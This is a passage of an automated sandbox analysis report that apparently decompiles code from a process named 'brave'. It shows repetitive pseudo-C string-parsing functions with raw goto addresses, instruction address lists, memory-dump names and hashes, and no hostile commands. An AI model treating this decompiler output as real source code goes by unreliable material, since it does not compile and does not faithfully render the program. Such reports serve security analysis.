				_t190 = (_t134 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t190 + 4)) = 0;
				 *(__rbx + 0x28) = _t134 + 1;
				 *_t190 = 0x27;
				 *((long long*)(_t190 + 0x10)) = 0x9fab5400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t136 =  *(__rbx + 0x28);
				if (_t136 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f8326ef;
				_t193 = (_t136 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t193 + 4)) = 0;
				 *(__rbx + 0x28) = _t136 + 1;
				 *_t193 = 0x27;
				 *((long long*)(_t193 + 0x10)) = 0x9fab53a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF67FF69F805BC0();
				r9d = 0;
				E00007FF67FF69F804DD0();
				_a40 = _t193;
				_t139 =  *(__rbx + 0x28);
				if (_t139 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832683;
				_t196 = (_t139 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t196 + 4)) = 0;
				 *(__rbx + 0x28) = _t139 + 1;
				 *_t196 = 0x27;
				 *((long long*)(_t196 + 0x10)) = 0x9fab53e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0x9f805c22;
				E00007FF67FF69F806EE0(_t196, __rbx);
				_a40 = _t196;
				if (_t196 == 0) goto 0x9f805c20;
				if ( *_t196 != 0x18) goto 0x9f805d39;
				goto 0x9f805c22;
				goto 0x9f806051;
				_t197 = _t196 + 1;
				 *(__rbx + 0x18) = _t197;
				E00007FF67FF69F8089F0(__rbx);
				E00007FF67FF69F804DD0();
				_a40 = _t197;
				_t234 = _t197;
				goto 0x9f805f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t234[1]);
				E00007FF67FF69F8089F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x9f806584;
				 *(__rbx + 0x18) = _t234;
				_t199 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x9f805d30;
				_t244 = _a40;
				if (_t244 == 0) goto 0x9f805c20;
				_t142 =  *(__rbx + 0x38);
				if (_t142 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x9f805c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t142 * 8)) = _t244;
				 *(__rbx + 0x38) = _t142 + 1;
				E00007FF67FF69F804DD0();
				_a40 = _t199;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t244 + 3;
				E00007FF67FF69F807F20(_t199, __rbx);
				_t235 = _t199;
				if (_t199 != 0) goto 0x9f806386;
				goto 0x9f805c20;
				asm("o16 nop [eax+eax]");
				_push(0x9fab53e0);
				_push(_t235);
				_push(__rbx);
				_t200 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x9f8066c8;
				 *(__rbx + 0x18) =  &(_t200[1]);
				r10d =  *_t200 & 0x000000ff;
				if (sil != 0) goto 0x9f8066d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t119 = (r8d >> 0x1f) + r8d >> 1;
				_t171 =  *((intOrPtr*)( *((intOrPtr*)(0x9fab4820 + (_t119 + _t119 * 2) * 8)))) - r10b;
				if (_t171 == 0) goto 0x9f806680;
				if (_t171 <= 0) goto 0x9f8066c0;
				r8d = _t119;
				if (0 != r8d) goto 0x9f806648;
				return 0;
			}

0x7ff69f806288
0x7ff69f80628e
0x7ff69f8062a5
0x7ff69f8062a9
0x7ff69f8062b1
0x7ff69f8062b4
0x7ff69f8062ba
0x7ff69f8062be
0x7ff69f8062c7
0x7ff69f8062cd
0x7ff69f8062e4
0x7ff69f8062e8
0x7ff69f8062f0
0x7ff69f8062f3
0x7ff69f8062f9
0x7ff69f8062fd
0x7ff69f806306
0x7ff69f80630c
0x7ff69f806323
0x7ff69f806327
0x7ff69f80632f
0x7ff69f806332
0x7ff69f806338
0x7ff69f80633c
0x7ff69f806340
0x7ff69f80634e
0x7ff69f806350
0x7ff69f806356
0x7ff69f806369
0x7ff69f80636d
0x7ff69f806375
0x7ff69f806378
0x7ff69f806383
0x7ff69f806386
0x7ff69f80638d
0x7ff69f806393
0x7ff69f80639a
0x7ff69f80639e
0x7ff69f8063b1
0x7ff69f8063b6
0x7ff69f8063c0
0x7ff69f8063c6
0x7ff69f8063dd
0x7ff69f8063e1
0x7ff69f8063e9
0x7ff69f8063ec
0x7ff69f8063f2
0x7ff69f8063f6
0x7ff69f8063ff
0x7ff69f806405
0x7ff69f80641c
0x7ff69f806420
0x7ff69f806428
0x7ff69f80642b
0x7ff69f806431
0x7ff69f806435
0x7ff69f80643e
0x7ff69f806444
0x7ff69f80645b
0x7ff69f80645f
0x7ff69f806467
0x7ff69f80646a
0x7ff69f806470
0x7ff69f806474
0x7ff69f806480
0x7ff69f806485
0x7ff69f806493
0x7ff69f806498
0x7ff69f8064a2
0x7ff69f8064a8
0x7ff69f8064bf
0x7ff69f8064c3
0x7ff69f8064cb
0x7ff69f8064ce
0x7ff69f8064d4
0x7ff69f8064d8
0x7ff69f8064dc
0x7ff69f8064eb
0x7ff69f8064f0
0x7ff69f8064f8
0x7ff69f806501
0x7ff69f806507
0x7ff69f806512
0x7ff69f806517
0x7ff69f80651e
0x7ff69f806522
0x7ff69f806537
0x7ff69f80653c
0x7ff69f806541
0x7ff69f806544
0x7ff69f806550
0x7ff69f806557
0x7ff69f80655e
0x7ff69f80656a
0x7ff69f80656c
0x7ff69f806570
0x7ff69f806575
0x7ff69f80657c
0x7ff69f80657f
0x7ff69f806584
0x7ff69f80658c
0x7ff69f806592
0x7ff69f806598
0x7ff69f8065a8
0x7ff69f8065b2
0x7ff69f8065ba
0x7ff69f8065bf
0x7ff69f8065d0
0x7ff69f8065da
0x7ff69f8065de
0x7ff69f8065e6
0x7ff69f8065ec
0x7ff69f8065f2
0x7ff69f8065f7
0x7ff69f806600
0x7ff69f806601
0x7ff69f806602
0x7ff69f806607
0x7ff69f806614
0x7ff69f80661e
0x7ff69f806626
0x7ff69f80662d
0x7ff69f806633
0x7ff69f806642
0x7ff69f806656
0x7ff69f806666
0x7ff69f806669
0x7ff69f80666b
0x7ff69f80666d
0x7ff69f806673
0x7ff69f80667e

APIs

malloc.MSVCRT ref: 00007FF69F832752

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 0b72ed1d1ec91a9fecf57987d9700a88a3447d5267269d2675c8036d64f49d40
Instruction ID: 58af85efd9f0d8d7d2452fb1114df878aa1013001dd67d7b5d749bc1120ab8ab
Opcode Fuzzy Hash: 0b72ed1d1ec91a9fecf57987d9700a88a3447d5267269d2675c8036d64f49d40
Instruction Fuzzy Hash: 5C114972A09B09C2E7718F04E8803A933B0FB94749F664665C28C473A4DFBDE185D380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80643E Relevance: 1.3, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00007FF67FF69F80643E(void* __rbx, signed char* _a40) {
				signed int _t61;
				signed int _t65;
				signed int _t68;
				signed int _t71;
				void* _t91;
				signed char* _t96;
				intOrPtr* _t99;
				signed char* _t100;
				signed char* _t102;
				signed char* _t103;
				signed char* _t124;
				signed char* _t125;
				long long _t132;

				_t65 =  *(__rbx + 0x28);
				if (_t65 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f8326ef;
				_t96 = (_t65 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t96 + 4)) = 0;
				 *(__rbx + 0x28) = _t65 + 1;
				 *_t96 = 0x27;
				 *((long long*)(_t96 + 0x10)) = 0x9fab53a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF67FF69F805BC0();
				r9d = 0;
				E00007FF67FF69F804DD0();
				_a40 = _t96;
				_t68 =  *(__rbx + 0x28);
				if (_t68 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832683;
				_t99 = (_t68 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t99 + 4)) = 0;
				 *(__rbx + 0x28) = _t68 + 1;
				 *_t99 = 0x27;
				 *((long long*)(_t99 + 0x10)) = 0x9fab53e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0x9f805c22;
				E00007FF67FF69F806EE0(_t99, __rbx);
				_a40 = _t99;
				if (_t99 == 0) goto 0x9f805c20;
				if ( *_t99 != 0x18) goto 0x9f805d39;
				goto 0x9f805c22;
				goto 0x9f806051;
				_t100 = _t99 + 1;
				 *(__rbx + 0x18) = _t100;
				E00007FF67FF69F8089F0(__rbx);
				E00007FF67FF69F804DD0();
				_a40 = _t100;
				_t124 = _t100;
				goto 0x9f805f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t124[1]);
				E00007FF67FF69F8089F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x9f806584;
				 *(__rbx + 0x18) = _t124;
				_t102 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x9f805d30;
				_t132 = _a40;
				if (_t132 == 0) goto 0x9f805c20;
				_t71 =  *(__rbx + 0x38);
				if (_t71 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x9f805c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t71 * 8)) = _t132;
				 *(__rbx + 0x38) = _t71 + 1;
				E00007FF67FF69F804DD0();
				_a40 = _t102;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t132 + 3;
				E00007FF67FF69F807F20(_t102, __rbx);
				_t125 = _t102;
				if (_t102 != 0) goto 0x9f806386;
				goto 0x9f805c20;
				asm("o16 nop [eax+eax]");
				_push(0x9fab53e0);
				_push(_t125);
				_push(__rbx);
				_t103 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x9f8066c8;
				 *(__rbx + 0x18) =  &(_t103[1]);
				r10d =  *_t103 & 0x000000ff;
				if (sil != 0) goto 0x9f8066d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t61 = (r8d >> 0x1f) + r8d >> 1;
				_t91 =  *((intOrPtr*)( *((intOrPtr*)(0x9fab4820 + (_t61 + _t61 * 2) * 8)))) - r10b;
				if (_t91 == 0) goto 0x9f806680;
				if (_t91 <= 0) goto 0x9f8066c0;
				r8d = _t61;
				if (0 != r8d) goto 0x9f806648;
				return 0;
			}

0x7ff69f80643e
0x7ff69f806444
0x7ff69f80645b
0x7ff69f80645f
0x7ff69f806467
0x7ff69f80646a
0x7ff69f806470
0x7ff69f806474
0x7ff69f806480
0x7ff69f806485
0x7ff69f806493
0x7ff69f806498
0x7ff69f8064a2
0x7ff69f8064a8
0x7ff69f8064bf
0x7ff69f8064c3
0x7ff69f8064cb
0x7ff69f8064ce
0x7ff69f8064d4
0x7ff69f8064d8
0x7ff69f8064dc
0x7ff69f8064eb
0x7ff69f8064f0
0x7ff69f8064f8
0x7ff69f806501
0x7ff69f806507
0x7ff69f806512
0x7ff69f806517
0x7ff69f80651e
0x7ff69f806522
0x7ff69f806537
0x7ff69f80653c
0x7ff69f806541
0x7ff69f806544
0x7ff69f806550
0x7ff69f806557
0x7ff69f80655e
0x7ff69f80656a
0x7ff69f80656c
0x7ff69f806570
0x7ff69f806575
0x7ff69f80657c
0x7ff69f80657f
0x7ff69f806584
0x7ff69f80658c
0x7ff69f806592
0x7ff69f806598
0x7ff69f8065a8
0x7ff69f8065b2
0x7ff69f8065ba
0x7ff69f8065bf
0x7ff69f8065d0
0x7ff69f8065da
0x7ff69f8065de
0x7ff69f8065e6
0x7ff69f8065ec
0x7ff69f8065f2
0x7ff69f8065f7
0x7ff69f806600
0x7ff69f806601
0x7ff69f806602
0x7ff69f806607
0x7ff69f806614
0x7ff69f80661e
0x7ff69f806626
0x7ff69f80662d
0x7ff69f806633
0x7ff69f806642
0x7ff69f806656
0x7ff69f806666
0x7ff69f806669
0x7ff69f80666b
0x7ff69f80666d
0x7ff69f806673
0x7ff69f80667e

APIs

malloc.MSVCRT ref: 00007FF69F832752

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: d48a312505f0d7753b5e0af4059756c973b08e8edd7f46ab5558ae8c63b7ed28
Instruction ID: bf53ebfbab08ae8e3fc052e887a3d2f748c9a3fe2ef9d8a8e0089b8d5c62cfe1
Opcode Fuzzy Hash: d48a312505f0d7753b5e0af4059756c973b08e8edd7f46ab5558ae8c63b7ed28
Instruction Fuzzy Hash: 0F112872A09B05C2E7718F14E9803A933B0FB84749F664975C28C873A4DFBDE581D380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F806306 Relevance: 1.3, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00007FF67FF69F806306(void* __eax, void* __ebx, void* __rbx, void* __rcx, void* __rdx, void* __r8, signed char* _a40) {
				signed int _t92;
				signed int _t103;
				signed int _t109;
				signed int _t112;
				signed int _t114;
				signed int _t116;
				signed int _t119;
				signed int _t122;
				void* _t149;
				intOrPtr* _t154;
				char* _t155;
				signed char* _t156;
				intOrPtr* _t159;
				intOrPtr* _t162;
				signed char* _t165;
				intOrPtr* _t168;
				signed char* _t169;
				signed char* _t171;
				signed char* _t172;
				intOrPtr* _t203;
				signed char* _t204;
				signed char* _t205;
				long long _t214;
				void* _t221;

				_t109 =  *(__rbx + 0x28);
				if (_t109 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832702;
				_t154 = (_t109 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t154 + 4)) = 0;
				 *(__rbx + 0x28) = _t109 + 1;
				 *_t154 = 0x27;
				 *((long long*)(_t154 + 0x10)) = 0x9fab5360;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0xa;
				goto 0x9f805c22;
				 *_t154 =  *_t154 + __eax;
				_t92 =  *(__rbx + 0x28);
				if (_t92 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f805c20;
				_t203 = (_t92 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t203 + 4)) = 0;
				 *(__rbx + 0x28) = _t92 + 1;
				 *_t203 = 0x42;
				 *((intOrPtr*)(_t203 + 0x10)) = E00007FF67FF69F804E90(_t154, __rbx, __rdx, __r8, _t221);
				_t155 =  *(__rbx + 0x18);
				if ( *_t155 != 0x5f) goto 0x9f805c20;
				_t156 = _t155 + 1;
				 *(__rbx + 0x18) = _t156;
				E00007FF67FF69F805BC0();
				E00007FF67FF69F804DD0();
				_a40 = _t156;
				_t112 =  *(__rbx + 0x28);
				if (_t112 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832670;
				_t159 = (_t112 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t159 + 4)) = 0;
				 *(__rbx + 0x28) = _t112 + 1;
				 *_t159 = 0x27;
				 *((long long*)(_t159 + 0x10)) = 0x9fab5340;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t114 =  *(__rbx + 0x28);
				if (_t114 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832715;
				_t162 = (_t114 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t162 + 4)) = 0;
				 *(__rbx + 0x28) = _t114 + 1;
				 *_t162 = 0x27;
				 *((long long*)(_t162 + 0x10)) = 0x9fab5400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t116 =  *(__rbx + 0x28);
				if (_t116 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f8326ef;
				_t165 = (_t116 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t165 + 4)) = 0;
				 *(__rbx + 0x28) = _t116 + 1;
				 *_t165 = 0x27;
				 *((long long*)(_t165 + 0x10)) = 0x9fab53a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF67FF69F805BC0();
				r9d = 0;
				E00007FF67FF69F804DD0();
				_a40 = _t165;
				_t119 =  *(__rbx + 0x28);
				if (_t119 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832683;
				_t168 = (_t119 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t168 + 4)) = 0;
				 *(__rbx + 0x28) = _t119 + 1;
				 *_t168 = 0x27;
				 *((long long*)(_t168 + 0x10)) = 0x9fab53e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0x9f805c22;
				E00007FF67FF69F806EE0(_t168, __rbx);
				_a40 = _t168;
				if (_t168 == 0) goto 0x9f805c20;
				if ( *_t168 != 0x18) goto 0x9f805d39;
				goto 0x9f805c22;
				goto 0x9f806051;
				_t169 = _t168 + 1;
				 *(__rbx + 0x18) = _t169;
				E00007FF67FF69F8089F0(__rbx);
				E00007FF67FF69F804DD0();
				_a40 = _t169;
				_t204 = _t169;
				goto 0x9f805f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t204[1]);
				E00007FF67FF69F8089F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x9f806584;
				 *(__rbx + 0x18) = _t204;
				_t171 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x9f805d30;
				_t214 = _a40;
				if (_t214 == 0) goto 0x9f805c20;
				_t122 =  *(__rbx + 0x38);
				if (_t122 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x9f805c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t122 * 8)) = _t214;
				 *(__rbx + 0x38) = _t122 + 1;
				E00007FF67FF69F804DD0();
				_a40 = _t171;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t214 + 3;
				E00007FF67FF69F807F20(_t171, __rbx);
				_t205 = _t171;
				if (_t171 != 0) goto 0x9f806386;
				goto 0x9f805c20;
				asm("o16 nop [eax+eax]");
				_push(0x9fab53e0);
				_push(_t205);
				_push(__rbx);
				_t172 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x9f8066c8;
				 *(__rbx + 0x18) =  &(_t172[1]);
				r10d =  *_t172 & 0x000000ff;
				if (sil != 0) goto 0x9f8066d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t103 = (r8d >> 0x1f) + r8d >> 1;
				_t149 =  *((intOrPtr*)( *((intOrPtr*)(0x9fab4820 + (_t103 + _t103 * 2) * 8)))) - r10b;
				if (_t149 == 0) goto 0x9f806680;
				if (_t149 <= 0) goto 0x9f8066c0;
				r8d = _t103;
				if (0 != r8d) goto 0x9f806648;
				return 0;
			}

0x7ff69f806306
0x7ff69f80630c
0x7ff69f806323
0x7ff69f806327
0x7ff69f80632f
0x7ff69f806332
0x7ff69f806338
0x7ff69f80633c
0x7ff69f806340
0x7ff69f80634e
0x7ff69f806350
0x7ff69f806356
0x7ff69f806369
0x7ff69f80636d
0x7ff69f806375
0x7ff69f806378
0x7ff69f806383
0x7ff69f806386
0x7ff69f80638d
0x7ff69f806393
0x7ff69f80639a
0x7ff69f80639e
0x7ff69f8063b1
0x7ff69f8063b6
0x7ff69f8063c0
0x7ff69f8063c6
0x7ff69f8063dd
0x7ff69f8063e1
0x7ff69f8063e9
0x7ff69f8063ec
0x7ff69f8063f2
0x7ff69f8063f6
0x7ff69f8063ff
0x7ff69f806405
0x7ff69f80641c
0x7ff69f806420
0x7ff69f806428
0x7ff69f80642b
0x7ff69f806431
0x7ff69f806435
0x7ff69f80643e
0x7ff69f806444
0x7ff69f80645b
0x7ff69f80645f
0x7ff69f806467
0x7ff69f80646a
0x7ff69f806470
0x7ff69f806474
0x7ff69f806480
0x7ff69f806485
0x7ff69f806493
0x7ff69f806498
0x7ff69f8064a2
0x7ff69f8064a8
0x7ff69f8064bf
0x7ff69f8064c3
0x7ff69f8064cb
0x7ff69f8064ce
0x7ff69f8064d4
0x7ff69f8064d8
0x7ff69f8064dc
0x7ff69f8064eb
0x7ff69f8064f0
0x7ff69f8064f8
0x7ff69f806501
0x7ff69f806507
0x7ff69f806512
0x7ff69f806517
0x7ff69f80651e
0x7ff69f806522
0x7ff69f806537
0x7ff69f80653c
0x7ff69f806541
0x7ff69f806544
0x7ff69f806550
0x7ff69f806557
0x7ff69f80655e
0x7ff69f80656a
0x7ff69f80656c
0x7ff69f806570
0x7ff69f806575
0x7ff69f80657c
0x7ff69f80657f
0x7ff69f806584
0x7ff69f80658c
0x7ff69f806592
0x7ff69f806598
0x7ff69f8065a8
0x7ff69f8065b2
0x7ff69f8065ba
0x7ff69f8065bf
0x7ff69f8065d0
0x7ff69f8065da
0x7ff69f8065de
0x7ff69f8065e6
0x7ff69f8065ec
0x7ff69f8065f2
0x7ff69f8065f7
0x7ff69f806600
0x7ff69f806601
0x7ff69f806602
0x7ff69f806607
0x7ff69f806614
0x7ff69f80661e
0x7ff69f806626
0x7ff69f80662d
0x7ff69f806633
0x7ff69f806642
0x7ff69f806656
0x7ff69f806666
0x7ff69f806669
0x7ff69f80666b
0x7ff69f80666d
0x7ff69f806673
0x7ff69f80667e

APIs

malloc.MSVCRT ref: 00007FF69F832752

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 0ebee6292a8557c15174a4ab0a03ffd8c5c9ca548531957df58a5e65fb3db361
Instruction ID: 4cad7c52eef44e9f40c9cb04496713d313e38cb9bb32ebe7d83ef180caa01011
Opcode Fuzzy Hash: 0ebee6292a8557c15174a4ab0a03ffd8c5c9ca548531957df58a5e65fb3db361
Instruction Fuzzy Hash: 2E111872A09B05C2E7B18F14E9813A933B0FB84749F669575C28C863A4DFBCA585D394

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F8063FF Relevance: 1.3, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00007FF67FF69F8063FF(void* __rbx, signed char* _a40) {
				signed int _t69;
				signed int _t73;
				signed int _t75;
				signed int _t78;
				signed int _t81;
				void* _t102;
				intOrPtr* _t107;
				signed char* _t110;
				intOrPtr* _t113;
				signed char* _t114;
				signed char* _t116;
				signed char* _t117;
				signed char* _t139;
				signed char* _t140;
				long long _t147;

				_t73 =  *(__rbx + 0x28);
				if (_t73 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832715;
				_t107 = (_t73 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t107 + 4)) = 0;
				 *(__rbx + 0x28) = _t73 + 1;
				 *_t107 = 0x27;
				 *((long long*)(_t107 + 0x10)) = 0x9fab5400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t75 =  *(__rbx + 0x28);
				if (_t75 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f8326ef;
				_t110 = (_t75 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t110 + 4)) = 0;
				 *(__rbx + 0x28) = _t75 + 1;
				 *_t110 = 0x27;
				 *((long long*)(_t110 + 0x10)) = 0x9fab53a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF67FF69F805BC0();
				r9d = 0;
				E00007FF67FF69F804DD0();
				_a40 = _t110;
				_t78 =  *(__rbx + 0x28);
				if (_t78 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832683;
				_t113 = (_t78 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t113 + 4)) = 0;
				 *(__rbx + 0x28) = _t78 + 1;
				 *_t113 = 0x27;
				 *((long long*)(_t113 + 0x10)) = 0x9fab53e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0x9f805c22;
				E00007FF67FF69F806EE0(_t113, __rbx);
				_a40 = _t113;
				if (_t113 == 0) goto 0x9f805c20;
				if ( *_t113 != 0x18) goto 0x9f805d39;
				goto 0x9f805c22;
				goto 0x9f806051;
				_t114 = _t113 + 1;
				 *(__rbx + 0x18) = _t114;
				E00007FF67FF69F8089F0(__rbx);
				E00007FF67FF69F804DD0();
				_a40 = _t114;
				_t139 = _t114;
				goto 0x9f805f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t139[1]);
				E00007FF67FF69F8089F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x9f806584;
				 *(__rbx + 0x18) = _t139;
				_t116 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x9f805d30;
				_t147 = _a40;
				if (_t147 == 0) goto 0x9f805c20;
				_t81 =  *(__rbx + 0x38);
